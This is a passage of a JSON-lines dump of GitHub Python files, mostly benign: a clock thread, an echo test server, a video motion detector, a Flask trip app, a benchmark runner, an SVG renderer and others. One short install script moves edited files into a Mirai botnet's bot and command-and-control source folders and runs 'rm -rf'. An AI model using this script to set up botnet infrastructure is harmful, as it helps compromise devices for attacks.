filenames)))\n\n for file in files:\n print(file)\n with open(file, \"rt\") as f:\n x = f.read()\n \n with open(file, \"wt\") as f:\n x = x.replace('XXX', args.number)\n f.write(x)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"alexandru-andronache/projecteuler","sub_path":"scripts/generate_problem.py","file_name":"generate_problem.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"12858965051","text":"import threading\nimport time\nimport traceback\nfrom time import sleep\nfrom typing import List, Callable\n\nfrom rka.components.concurrency import logger\nfrom rka.components.concurrency.rkathread import RKAThread\n\n\nclass RKAClock(RKAThread):\n def __init__(self, name: str, tick_duration: float):\n RKAThread.__init__(self, 'RT timer', target=self.__ticker)\n self.__name = name\n self.__tick_duration = tick_duration\n self.__listeners: List[Callable] = list()\n self.__keep_running = True\n self.__paused = False\n self.__lock = threading.Condition()\n self.start()\n\n def __ticker(self):\n started_at = 0.0\n last_slack_notify = None\n ticks = 0\n next_wait = self.__tick_duration\n while True:\n with self.__lock:\n while self.__paused and self.__keep_running:\n self.__lock.wait(4.0)\n if not self.__paused:\n started_at = 0.0\n if not self.__keep_running:\n break\n if not started_at:\n started_at = time.time()\n last_slack_notify = started_at\n ticks = 0\n sleep(next_wait)\n remove_listeners: List[Callable] = list()\n for listener_cb in self.__listeners:\n # noinspection PyBroadException\n try:\n listener_cb()\n pass\n except Exception as e:\n logger.error(f'scheduler ticker listener {listener_cb} cause exception {e}')\n traceback.print_exc()\n remove_listeners.append(listener_cb)\n for listener_cb in remove_listeners:\n self.__listeners.remove(listener_cb)\n ticks += 1\n clock_time = self.__tick_duration * ticks\n now = time.time()\n actual_time = now - started_at\n diff_time = actual_time - clock_time\n next_wait = self.__tick_duration - diff_time\n if next_wait < 0.0:\n next_wait = 0.0\n if diff_time > 2 * self.__tick_duration and now > last_slack_notify + 10.0:\n logger.warn(f'clock \"{self.__name}\" delaying, current slack {diff_time:0.4f}')\n last_slack_notify = now\n if diff_time > 20 * self.__tick_duration:\n logger.warn(f'clock \"{self.__name}\" delaying too much {diff_time:0.4f}, restarting')\n started_at = now\n ticks = 0\n last_slack_notify = now\n next_wait = self.__tick_duration\n with self.__lock:\n self.__lock.notify()\n\n def add_listener(self, listener_cb):\n self.__listeners.append(listener_cb)\n\n def remove_listener(self, listener_cb) -> bool:\n if listener_cb not in self.__listeners:\n logger.warn(f'cant remove listener, not in in list: {listener_cb}')\n return False\n self.__listeners.remove(listener_cb)\n return True\n\n def pause(self):\n with self.__lock:\n self.__paused = True\n\n def resume(self):\n with self.__lock:\n self.__paused = False\n self.__lock.notify()\n\n def close(self):\n with self.__lock:\n self.__keep_running = False\n self.__lock.wait(2 * self.__tick_duration)\n super().close()\n","repo_name":"npstash/public_rka","sub_path":"rka/components/concurrency/clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35075201673","text":"import subprocess,os,sys,random,time,urllib3,subprocess,base64\n\ndef run(cmd): \n subprocess.call(cmd, shell=True)\n\nrun(\"mv edit/bot/table.c JG/mirai/bot\")\n\nrun(\"mv edit/cnc/admin.go JG/mirai/cnc\")\nrun(\"mv edit/cnc/main.go JG/mirai/cnc\")\n\nrun(\"rm -rf edit\")\n","repo_name":"reusharino/312822","sub_path":"InstallScripts/removedit.py","file_name":"removedit.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"39122371312","text":"import socket\nfrom dataclasses import dataclass\nimport time\n\n\n@dataclass\nclass Server:\n host: str\n port: int\n\n def __post_init__(self):\n self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n def __enter__(self):\n self._sock.bind((self.host, self.port))\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n self._sock.close()\n\n def listen_for_traffic(self):\n self._sock.listen(5)\n connection, address = self._sock.accept()\n with connection:\n while True:\n message = connection.recv(1024)\n count = connection.send(message)\n self._sock.close()\n","repo_name":"apache/plc4x","sub_path":"sandbox/plc4py/tests/unit/plc4py/spi/tcp/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":903,"dataset":"github-code","pt":"47"} +{"seq_id":"23577318612","text":"import cv2 \nimport numpy as np\n# from matplotlib import pyplot as plt\nimport os, shutil, time\nfrom functools import wraps\n# from inspect import signature\n# from torch.utils.data import TensorDataset\n\ndef log(file_path):\n def decorator(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n stime = time.time()\n res = func(*args, **kwargs)\n etime = time.time()\n using_time = etime - stime\n print('using time: ', using_time)\n with open(file_path, 'a+') as f:\n f.write('Run func: {} using time {}s, with the parameters:\\n\\\n {}, {}. \\n\\n'.format(func.__name__, using_time, args, kwargs))\n return wrapper\n return decorator\n\n\ndef update_alpha(o_alpha, C, det=0):\n t = (1 / (C+1))**0.5\n if det == 0: # 未检测到运动物体，该帧加入背景的权重增大\n alpha = o_alpha*(1+t)\n else:\n alpha = o_alpha*(t)\n return alpha\n\n\nres_stats_pth = './Results/results_stats.txt'\n@log(res_stats_pth)\ndef move_avg_bg(video_pth, alpha=0.1, n_dil=4, n_ero=1, thre=25, area=4096):\n video_name = video_pth.split('/')[-1].replace('.', '_')\n res_name = str(alpha).replace('.', '') + f'_d{n_dil}_t{thre}_mask5' # 4为单独拎出背景来做后赋值给背景\n res_path = f\"./Results/{video_name}/{res_name}\"\n if os.path.exists(res_path):\n shutil.rmtree(res_path)\n os.makedirs(res_path)\n\n bg_path = f\"./Results/{video_name}/{res_name}/BG\"\n delta_path = f\"./Results/{video_name}/{res_name}/delta\"\n thre_path = f\"./Results/{video_name}/{res_name}/thre\"\n dila_path = f\"./Results/{video_name}/{res_name}/dila\"\n mask_path = f\"./Results/{video_name}/{res_name}/mask\"\n os.makedirs(bg_path)\n os.makedirs(delta_path)\n os.makedirs(thre_path)\n os.makedirs(dila_path)\n os.makedirs(mask_path)\n\n cap = cv2.VideoCapture(video_pth)\n fps = int(cap.get(5))\n size = w, h = int(cap.get(3)), int(cap.get(4))\n sqker = np.ones((5,5),np.uint8)\n\n avg = None\n C = 0\n incre = 0\n no_incre = 0\n o_alpha = alpha\n o_mask = np.zeros((h, w), dtype=bool)\n\n i = -1\n while cap.isOpened():\n i += 1\n ret, frame = cap.read()\n if not ret:\n print(\"Video end!\")\n break\n if i % fps == 0:\n sec = i // fps\n gframe = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)#变成灰色图像\n gframe = cv2.GaussianBlur(gframe,(5,5),0)#高斯滤波 # uint8\n if avg is None:\n avg = gframe.astype('float')\n # cv2.accumulateWeighted(gframe, avg, alpha) # avg # uint8形式的float64类型\n frame_delta = cv2.absdiff(gframe, cv2.convertScaleAbs(avg)) # uint8\n cv2.imwrite(f\"{delta_path}/delta_{sec}.jpg\", frame_delta)\n bframe = cv2.threshold(frame_delta, thre, 255, cv2.THRESH_BINARY)[1] # uint8\n cv2.imwrite(f\"{thre_path}/thre_{sec}.jpg\", bframe)\n bframe = cv2.erode(bframe, sqker, iterations=n_ero)\n bframe_ = cv2.dilate(bframe, sqker, iterations=1)\n bframe = cv2.dilate(bframe_, sqker, iterations=n_dil-1)\n cv2.imwrite(f\"{dila_path}/dila_{sec}.jpg\", bframe)\n\n cv2.imwrite(f\"{bg_path}/bg_{sec}.jpg\", avg)\n contours = cv2.findContours(bframe, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[0]\n\n det_num = 0\n rects = []\n for idx, c in enumerate(contours, 1):\n if cv2.contourArea(c) > area: \n (x,y,w,h) = cv2.boundingRect(c)\n if x<800 and y<90:\n continue\n det_num += 1\n xl, yu = x - 12, y - 20\n if x < 12:\n xl = x - x // 2\n if y < 20:\n yu = y - y // 2\n yslice = slice(yu, y+h+20)\n xslice = slice(xl, x+w+12)\n rects.append((yslice, xslice))\n crop_img = frame[yslice, xslice]\n # crop_img = frame[yu: y + h + 20, xl: x + w + 12]\n cv2.imwrite(f'{res_path}/{sec}s_{det_num}o.jpg', crop_img)\n if det_num:\n # incre += 1\n # C += 1\n # C = C if C<=10 else 10 # 最大为14\n # no_incre = 0\n # alpha = update_alpha(o_alpha, C, 1)\n print(f\"{sec}s detected {det_num} obj!\")\n # else:\n # no_incre += 1\n # if no_incre == 7:\n # C = 0\n # alpha = update_alpha(o_alpha, C, 0)\n\n if det_num:\n mask2 = bframe_ == 255 # 背景���动物体部分的mask\n mask = o_mask.copy() \n for ysl, xsl in rects:\n mask[ysl, xsl] = 1\n mask = np.bitwise_and(mask, mask2)\n cv2.imwrite(f\"{mask_path}/mask_{sec}.jpg\", mask.astype('uint8')*255)\n bgs = avg[~mask].copy()\n cv2.accumulateWeighted(gframe[~mask], bgs, alpha) # 背景静止部分更新\n avg[~mask] = bgs\n # cv2.accumulateWeighted(gframe[mask], avg[mask], 0.1*alpha) # 运动物体部分不更新\n else:\n cv2.accumulateWeighted(gframe, avg, alpha)\n \n\n cap.release()\n\n\n\nif __name__ == \"__main__\":\n video_pth = \"/root/Datasets/videos/2.avi\"\n alpha = 0.03\n n_dil = 3\n move_avg_bg(video_pth, alpha=alpha, n_dil=n_dil, thre=20)\n\n\n","repo_name":"Interesting6/video_query","sub_path":"moving_detect/avg_bg.py","file_name":"avg_bg.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7290998676","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 15 17:43:26 2023\n\n@author: Campbell\n\"\"\"\n\nimport copy\n\nimport numpy as np\n\ndef update_model(p, base_model, opt_dict, condition_number):\n \n new_model = copy.deepcopy(base_model)\n \n for (i,p_struct) in enumerate(opt_dict['parameters']):\n \n if ('condition' in p_struct):\n if not (condition_number in np.asarray(p_struct['condition'])):\n # Break out of loop if condition is specified and this\n # is not in the list\n continue\n \n param_value = return_param_value(p[i], p_struct)\n \n if (p_struct['class'] == 'lattice_parameters'):\n if (p_struct['key'] == 'viscosity'):\n new_model['lattice_parameters']['viscosity'] = param_value\n \n if (p_struct['class'].startswith('m_kinetics')):\n isotype_ind = p_struct['isotype'] - 1\n # Split key by '_'\n bits = p_struct['key'].split('_')\n state_ind = int(bits[1])-1\n trans_ind = int(bits[3])-1\n param_ind = int(bits[-1])-1\n \n y = np.asarray(new_model['m_kinetics'][isotype_ind]['scheme'][state_ind]['transition'][trans_ind]['rate_parameters'],\n dtype=float)\n y[param_ind] = param_value\n new_model['m_kinetics'][isotype_ind]['scheme'][state_ind]['transition'][trans_ind]['rate_parameters'] = \\\n y.tolist()\n \n if (p_struct['class'].startswith('c_kinetics')):\n isotype_ind = p_struct['isotype'] - 1\n # Split key by '_'\n bits = p_struct['key'].split('_')\n state_ind = int(bits[1])-1\n trans_ind = int(bits[3])-1\n param_ind = int(bits[-1])-1\n \n y = np.asarray(new_model['c_kinetics'][isotype_ind]['scheme'][state_ind]['transition'][trans_ind]['rate_parameters'],\n dtype=float)\n y[param_ind] = param_value\n new_model['c_kinetics'][isotype_ind]['scheme'][state_ind]['transition'][trans_ind]['rate_parameters'] = \\\n y.tolist() \n \n return new_model\n\ndef return_param_value(p, p_struct):\n \n x = (p%2)\n if (x < 1):\n y = p_struct['min_value'] + \\\n x * (p_struct['max_value'] - p_struct['min_value'])\n else:\n y = p_struct['max_value'] - \\\n (x-1)*(p_struct['max_value'] - p_struct['min_value'])\n \n if (p_struct['par_mode'] == 'log'):\n y = np.power(10, y)\n \n return y","repo_name":"Campbell-Muscle-Lab/FiberSim","sub_path":"code/FiberPy/FiberPy/package/modules/fitting/update_model.py","file_name":"update_model.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"72487697102","text":"import os\nimport json\n\nfrom flask import Flask, render_template, request, flash, redirect, session, g\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom sqlalchemy.exc import IntegrityError\nimport csv\nfrom forms import SearchForm\nfrom airbnb import get_listings_info\nfrom flights import get_flights_list_info\n\n# 50 most popular travel destinations\nwith open('static/csvs/places.csv') as f:\n PLACES = [{k: v for k, v in row.items()} \n for row in csv.DictReader(f, skipinitialspace=True)]\n\n# all world cities over 150,000 people\nwith open('static/csvs/worldcities.csv') as f:\n WORLDCITIES = []\n for row in csv.DictReader(f, skipinitialspace=True):\n city_country = \"\"\n for k, v in row.items():\n if k == \"name\":\n city_country += v\n if k == \"country\":\n city_country += f\", {v}\"\n WORLDCITIES.append(city_country)\n\nTRIPS_SEARCH_BASE_URL = \"/trips/s\"\n\napp = Flask(__name__)\n\n# Get DB_URI from environ variable (useful for production/testing) or,\n# if not set there, use development local db.\napp.config['SQLALCHEMY_DATABASE_URI'] = (\n os.environ.get('DATABASE_URL', 'postgres:///warbler'))\n\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_ECHO'] = False\napp.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False\napp.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', \"it's a secret\")\ntoolbar = DebugToolbarExtension(app)\n\n# connect_db(app)\n\n\n\"\"\" routes\n\"/\"\n\"/topairbnbs\"\n\"/explore\"\n\n\"/flights\"\n\"budget\"\n\"\"\"\n\n@app.route(\"/\")\ndef show_home():\n \"\"\" show homepage \"\"\"\n return render_template(\"home.html\")\n\n@app.route(\"/explore\")\ndef show_explore():\n \"\"\" show explore page \"\"\"\n form = SearchForm()\n return render_template(\"explore.html\",\n places=PLACES,\n form=form,\n worldcities=json.dumps(WORLDCITIES))\n\n\n@app.route(\"/trips/s\", methods=[\"POST\"])\ndef trips_search():\n \"\"\" takes form data, and redirect to search result page \"\"\"\n url = construct_search_url(TRIPS_SEARCH_BASE_URL, request.form)\n return redirect(url)\n\n\n@app.route(\"/trips/s//\")\ndef show_trips_result(city_origin, city_destination):\n \"\"\" run scriping app and display trips results\"\"\"\n search_input = {\"city_origin\": city_origin,\n \"city_destination\": city_destination,\n \"adults\": request.args.get(\"adults\"),\n \"checkin\": request.args.get(\"checkin\"),\n \"checkout\": request.args.get(\"checkout\")}\n # flights_list = get_flights_list_info(search_input)\n lodgings_list = get_listings_info(search_input)\n flights_list = get_flights_list_info(search_input)\n return render_template(\"results.html\", lodgings_list=lodgings_list, flights_list=flights_list)\n\n\ndef construct_search_url(base_url, form):\n origin = form['origin'].replace(\", \", \"--\").replace(\" \", \"-\")\n result_url = base_url + f\"/{origin}\" \n result_url += f\"/{form['destination']}\"\n result_url += f\"?checkin={form['checkin']}\"\n result_url += f\"&checkout={form['checkout']}\"\n result_url += f\"&adults={form['adults']}\"\n return result_url\n","repo_name":"jonathanlei/dream-vacay","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23243449123","text":"import os\nimport logging\nimport time\nimport json\nfrom fnmatch import fnmatch\n\nfrom mbdirector.target import Target\nfrom mbdirector.benchmark import Benchmark\n\n\nclass RunConfig(object):\n next_id = 1\n\n def __init__(self, base_results_dir, name, config, benchmark_config):\n self.id = RunConfig.next_id\n RunConfig.next_id += 1\n\n self.redis_process_port = config.get('redis_process_port', 6379)\n\n mbconfig = config.get('memtier_benchmark', {})\n mbconfig.update(benchmark_config)\n self.mb_binary = mbconfig.get('binary', 'memtier_benchmark')\n self.mb_threads = mbconfig.get('threads')\n self.mb_clients = mbconfig.get('clients')\n self.mb_pipeline = mbconfig.get('pipeline')\n self.mb_requests = mbconfig.get('requests')\n self.mb_test_time = mbconfig.get('test_time')\n self.explicit_connect_args = bool(\n mbconfig.get('explicit_connect_args'))\n\n self.results_dir = os.path.join(base_results_dir,\n '{:04}_{}'.format(self.id, name))\n\n def __repr__(self):\n return ''.format(self.id)\n\n\nclass Runner(object):\n def __init__(self, base_results_dir, spec_filename, spec,\n skip_benchmarks, skip_targets):\n self.spec_filename = spec_filename\n self.spec = spec\n self.skip_benchmarks = skip_benchmarks\n self.skip_targets = skip_targets\n self.base_results_dir = base_results_dir\n self.start_time = None\n self.end_time = None\n self.errors = 0\n\n def run_benchmark(self, benchmark_json, target_json):\n name = '{}_{}'.format(benchmark_json['name'],\n target_json['name'])\n\n logging.info('===== Running benchmark \"%s\" =====', name)\n\n config = RunConfig(self.base_results_dir, name,\n self.spec['configuration'],\n benchmark_json.get('configuration', {}))\n os.makedirs(config.results_dir)\n\n # Write benchmark info\n with open(os.path.join(config.results_dir,\n \"benchmark.json\"), \"w\") as bfile:\n json.dump({'benchmark': benchmark_json['name'],\n 'target': target_json['name']}, bfile)\n\n target = Target.from_json(config, target_json)\n benchmark = Benchmark.from_json(config, benchmark_json)\n\n logging.info('Setting up target \"%s\"', target.name)\n try:\n target.setup()\n except Exception as err:\n logging.exception('Failed to set up target: %s' % err)\n self.errors += 1\n return\n\n logging.info('Running benchmark \"%s\"', benchmark.name)\n if not benchmark.run():\n logging.error('Benchmark execution failed')\n self.errors += 1\n\n logging.info('Tearing down target \"%s\"', target.name)\n target.teardown()\n\n def write_result(self):\n with open(os.path.join(self.base_results_dir,\n 'result.json'), 'w') as rfile:\n json.dump({'run_time': self.end_time - self.start_time,\n 'errors': self.errors,\n 'spec_filename': self.spec_filename},\n rfile)\n\n def write_spec(self):\n with open(os.path.join(self.base_results_dir,\n 'spec.json'), 'w') as sfile:\n json.dump(self.spec, sfile)\n\n def should_skip_benchmark(self, benchmark):\n for pattern in self.skip_benchmarks:\n if fnmatch(benchmark['name'], pattern):\n return True\n return False\n\n def should_skip_target(self, target):\n for pattern in self.skip_targets:\n if fnmatch(target['name'], pattern):\n return True\n return False\n\n def run(self):\n self.write_spec()\n self.start_time = time.time()\n\n for benchmark in self.spec['benchmarks']:\n if self.should_skip_benchmark(benchmark):\n logging.info('Skipping benchmark: %s', benchmark['name'])\n continue\n\n for target in self.spec['targets']:\n if self.should_skip_target(target):\n logging.info('Skipping target: %s', target['name'])\n continue\n\n self.run_benchmark(benchmark, target)\n\n self.end_time = time.time()\n self.write_result()\n","repo_name":"RedisLabs/mbdirector","sub_path":"mbdirector/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"} +{"seq_id":"7153402422","text":"\nimport os\n\ndef svgRoomOut(r,rmName, labCat):\n directory = \"SVG\"\n \n \n oStr = \"\"\"\n \n \n \n \"\"\"\n \n # Start group of all rooms\n #oStr += \"\\n\"\n #oStr += oStr2\n currUse = r[\"USE\"]\n currCampus = r[\"CAMPUS\"]\n validCampuses = [\"UMLNORTH\",\"UMLSOUTH\",\"UMLEAST\"]\n if currCampus in validCampuses:\n if currUse == \"CLASSROOM\":\n #ofile = open( (oDir + currCampus + \"\\\\\" + currUse + \"\\\\\" + rmName + \".svg\"),\"w\")\n oStr += makeSVGroom2(r,rmName)\n oStr += \"\\n\"\n oStr = oStr.strip()\n filepath = directory+\"/\"+ rmName + \".svg\"\n # Create the directory if it does not exist\n if not os.path.exists(directory):\n os.makedirs(directory)\n # Write to the file\n with open(filepath, \"w\") as f:\n f.write(oStr)\n\n elif currUse == \"CLASS LABORATORY\":\n \n filepath = directory+\"/\"+ rmName + \".svg\"\n # Create the directory if it does not exist\n if not os.path.exists(directory):\n os.makedirs(directory)\n \n print(rmName)\n try:\n currCat = labCat[rmName][\"LAB_MAJOR_CATEGORY\"]\n print(\"OKOKOKOK\", currCat)\n except:\n currCat = \"STEM\"\n oStr2,ignoreX, ignoreY = makeSVGlab(rmName, r[\"RM_HRS\"],currCat,0,0)\n oStr += oStr2 + \"\\n\"\n # Write to the file\n oStr = oStr.strip()\n print(filepath)\n with open(filepath, \"w\") as f:\n f.write(oStr)\ndef makeSVGroom2(r,rmName):\n bAvg = r[\"BAvg\"]\n numSeats = r[\"PHYS_CAP\"]\n\n \n xpos = 10\n ypos = 10\n \n txtOffX = 18\n txtOffY = 15\n \n lblUtil = str(bAvg)\n if lblUtil[0] == \"0\":\n lblUtil = lblUtil[1:5]\n else:\n lblUtil = lblUtil[:5]\n\n color = bAvgCat(bAvg)\n retVal = rmSize(numSeats,rmName,lblUtil,color)\n return(retVal)\n\ndef rmHrCat(rmHrs, rmCat):\n retVal = \"\"\n util = float(rmHrs)/40.\n if rmCat == \"STEM\":\n if util > .75:\n #retVal = \"STEM5\"\n retVal = \"#59baed\"\n elif util > .50:\n #retVal = \"STEM4\"\n retVal = \"#a0ccef\"\n elif util > .33:\n #retVal = \"STEM3\"\n #retVal = \"bAVGkey150\"\n retVal = \"#f7eec3\"\n elif util > .16:\n #retVal = \"STEM3\"\n retVal =\"#eda29f\"\n else:\n #retVal = \"STEM1\"\n retVal = \"#ec7e79\"\n elif rmCat == \"Dry\":\n if util > .82:\n retVal = \"#59baed\"\n elif util > .67:\n retVal = \"#a0ccef\"\n elif util > .50:\n #retVal = \"DRY2\"\n retVal = \"#f7eec3\"\n elif util > .33:\n #retVal = \"DRY2\"\n retVal = \"#eda29f\"\n else:\n retVal = \"#ec7e79\"\n else:\n print(\"error: check lab major category\")\n return retVal\n\ndef makeSVGlab(rmName, rmHrs, labType, xpos, ypos):\n txtOffX = 18\n txtOffY = 30\n #retVal = \"\\n\"\n #bCat = bAvgCat(bAvg)\n #print rmName, labType\n color = rmHrCat(rmHrs, labType)\n currUtil = float(rmHrs)/40.\n utilStr = \"{:.1%}\".format(currUtil)\n #class=\"st1 st2\n # sizeW,sizeH = rmSize(numSeats)\n sizeW = 100.\n sizeH = 100.\n # need to adjust ypos based on sizeH so the line up at the bottom\n ypos += (120 - sizeH) # 120 is hard coded -it's the height of medium and large rooms. need variable\n \n retVal = rmSize(30,rmName,utilStr,color)\n return(retVal,sizeW, sizeH)\n\ndef svgClassroomOut(campus, campusName, baseX):\n \"\"\"\n Logic: Layout done in AI. Each building has a \"starting\" x/y. Loop over buildings, add\n floors with rooms, with a standard Y increment for floors and X increment for rooms\n \"\"\"\n #illustPos = {\"PTB\":[804,1007],\"SOU\":[804,832],\"SHA\":[804,670],\"BAL\":[804,495],\"OLS\":[804,310],\\\n #\"DAN\":[1570,1014],\"FAL\":[1570,834],\"PER\":[1570,593],\"OLN\":[1570,330],\"GPS\":[1570,1230]}\n illustPos = {\"PTB\":[804,700],\"SOU\":[804,532],\"SHA\":[804,370],\"BAL\":[804,195],\"OLS\":[804,100],\\\n \"DAN\":[1570,700],\"FAL\":[1570,532],\"PER\":[1570,293],\"OLN\":[1570,30],\"GPS\":[1570,930],\n \"WEE\":[0,10],\"HSS\":[0,110],\"COB\":[0,210],\"DUG\":[0,310],\"MCG\":[0,410],\"OLE\":[0,510],\n \"RIV\":[0,610],\"MAH\":[0,710]}\n \n maxX = baseX + 50.\n maxX = 50.\n gapX = 20\n baseX = 20\n gapY_sameBldg = 70\n #gapY_newBldg = 40\n #maxY = (numFloors * (gapY_sameBldg+gapY_newBldg))\n #maxY = (numFloors * (gapY_sameBldg+gapY_newBldg) * 1.5)\n currY = 0\n\n \n\n oStr2 = \"\"\n for b in reversed(sorted(campus)):\n currX = illustPos[b][0]\n currY = illustPos[b][1]\n print(\"start\", b, \" at Y=\", currY,\"\\n\")\n for f in sorted(campus[b]):\n maxX = currX\n print(\"==========\", b)\n for r in sorted(campus[b][f][\"rooms\"]):\n print(\"\\t>>>\", r)\n currUtil = campus[b][f][\"rooms\"][r][\"BAvg\"]\n moreStr = makeSVGroom(r,currUtil, campus[b][f][\"rooms\"][r][\"PHYS_CAP\"],maxX,currY)\n oStr2 += moreStr\n currY -= gapY_sameBldg\n print(\"********************** done with floor, increment Y\", currY)\n \n\n oStr = \"\"\"\n \n \n \"\"\"\n oStr += oStr2\n oStr += \"\\n\"\n # Define the directory and file path\n directory = \"2021F_Util\"\n filepath = directory+\"/\"+campusName + \"_test.svg\"\n\n # Create the directory if it does not exist\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n # Write to the file\n with open(filepath, \"w\") as f:\n f.write(oStr)\n\ndef makeSVGroom(rmName, bAvg, numSeats, xpos, ypos):\n # new (AI) sizes: small - 50x45, 60x50, 60x70\n txtOffX = 9\n txtOffY = 15\n #retVal = \"\\n\"\n lblUtil = str(bAvg)\n if lblUtil[0] == \"0\":\n lblUtil = lblUtil[1:5]\n else:\n lblUtil = lblUtil[:5]\n\n #class=\"st1 st2\n color = get_color(bAvg)\n retVal = rmSize(numSeats,rmName,lblUtil,color)\n \n return(retVal)\n \n \ndef bAvgCat(util):\n retVal = \"\"\n util = float(util)\n if util > .600:\n retVal = \"#59baed\" \n elif util > .450:\n retVal = \"#a0ccef\" \n elif util > .300: \n retVal = \"#f7eec3\" \n elif util > .150:\n retVal = \"#eda29f\" \n else:\n retVal = \"#ec7e79\" \n return retVal\n\ndef get_color(util):\n color = ''\n util = float(util)\n if util > .600:\n color = \"#59baed\" \n elif util > .450:\n color = \"#a0ccef\" \n elif util > .300: \n color = \"#f7eec3\" \n elif util > .150:\n color = \"#eda29f\" \n else:\n color = \"#ec7e79\"\n return color\n\ndef rmSize(seats,rmName,lblUtil,color):\n \n fillcolor = \".st0{fill:\"+color+\";}\"\n styles = \"\"\".st1{fill:none;}\n .st2{font-family:'FrutigerLTStd-Bold';}\n .st3{font-size:5.3427px;}\n .st4{font-family:'FrutigerLTStd-Roman';}\n .st5{font-size:4.1098px;}\n \"\"\"\n style = f\"\"\"\n \"\"\"\n try:\n seats = float(seats)\n except:\n seats = 1.\n \n if seats>0 and seats<17:\n #small.svg\n return style+f\"\"\"\n \n \n {lblUtil}{rmName}\n \"\"\"\n elif seats>17 and seats<34:\n #polygon.svg\n return style+f\"\"\"\n \n \n {lblUtil}{rmName}\n \"\"\"\n elif seats>34 and seats<50:\n #circle.svg for mdeium\n return style+f\"\"\"\n \n \n \n {lblUtil}{rmName} \n \"\"\"\n elif seats>50 and seats<76:\n #large.svg for large\n return style+f\"\"\"\n \n \n \n {lblUtil}{rmName}\n \"\"\"\n \n else:\n #lecture.svg for lecture\n return style+f\"\"\"\n \n \n {lblUtil}{rmName}\n \"\"\"\n \n\n\n","repo_name":"Revanth-guduru-balaji/Work","sub_path":"utilPY/svg.py","file_name":"svg.py","file_ext":"py","file_size_in_byte":10579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24733381001","text":"import bisect\nimport cairo\n\nfrom collections import defaultdict\nfrom gi.repository import GObject as gobject\nfrom gi.repository import Gtk as gtk\nfrom gi.repository import Gdk as gdk\nfrom gi.repository import PangoCairo as pangocairo\nfrom gi.repository import Pango as pango\n\nfrom hamster.lib import datetime as dt\nfrom hamster.lib import graphics\nfrom hamster.lib import stuff\nfrom hamster.lib.fact import Fact\n\n\nclass ActionRow(graphics.Sprite):\n def __init__(self):\n graphics.Sprite.__init__(self)\n self.visible = False\n\n self.restart = graphics.Icon(\"view-refresh-symbolic\", size=18,\n interactive=True,\n mouse_cursor=gdk.CursorType.HAND1,\n y=4)\n self.add_child(self.restart)\n\n self.width = 50 # Simon says\n\n\nclass TotalFact(Fact):\n \"\"\"An extension of Fact that is used for daily totals.\n Instances of this class are rendered differently than instances\n of Fact.\n A TotalFact doesn't have a meaningful start and an end, but a\n total duration (delta).\n FIXME: Ideally, we should have a common parent for Fact and Total Fact\n so we don't need to have nonsensical start and end properties here.\n \"\"\"\n\n def __init__(self, activity, duration):\n super().__init__(activity=activity, start=dt.datetime.now(), end=dt.datetime.now())\n self.duration = duration\n\n @property\n def delta(self):\n return self.duration\n\n\nclass Label(object):\n \"\"\"a much cheaper label that would be suitable for cellrenderer\"\"\"\n\n def __init__(self, x=0, y=0, color=None):\n self.x = x\n self.y = y\n self.color = color\n self._label_context = cairo.Context(cairo.ImageSurface(cairo.FORMAT_A1, 0, 0))\n self.layout = pangocairo.create_layout(self._label_context)\n self.layout.set_font_description(pango.FontDescription(graphics._font_desc))\n self.set_text(\"00:00 - 00:00\") # dummy time_label for finding width\n\n @property\n def height(self):\n \"\"\"Label height in pixels.\"\"\"\n return self.layout.get_pixel_size()[1]\n\n def set_text(self, text):\n self.text = text\n self.layout.set_markup(text)\n\n def get_text(self):\n return self.text\n\n def show(self, g, text=None, x=None, y=None):\n \"\"\"Show the label.\n\n If text is given, it overrides any previous set_text().\n x and y can be passed to temporary override the position.\n (self.x and self.y will not be changed)\n \"\"\"\n\n g.save_context()\n\n # fallback to self.x\n if x is None:\n x = self.x\n if y is None:\n y = self.y\n\n g.move_to(x, y)\n\n if text is not None:\n self.set_text(text)\n\n if self.color:\n g.set_color(self.color)\n pangocairo.show_layout(g.context, self.layout)\n\n g.restore_context()\n\n\nclass TagLabel(Label):\n \"\"\"Tag label, with small text.\"\"\"\n\n def set_text(self, text):\n Label.set_text(self, \"{}\".format(text))\n\n\nclass FactRow(object):\n def __init__(self):\n self.time_label = Label()\n x = self.time_label.layout.get_pixel_size()[0] + 10\n self.activity_label = Label(x=x)\n\n self.category_label = Label()\n self.description_label = Label()\n self.tag_label = TagLabel()\n\n self.duration_label = Label()\n self.duration_label.layout.set_alignment(pango.Alignment.RIGHT)\n self.duration_label.layout.set_width(90 * pango.SCALE)\n\n self.width = 0\n\n # margins (in pixels)\n self.tag_row_margin_H = 2.5\n self.tag_row_margin_V = 2.5\n 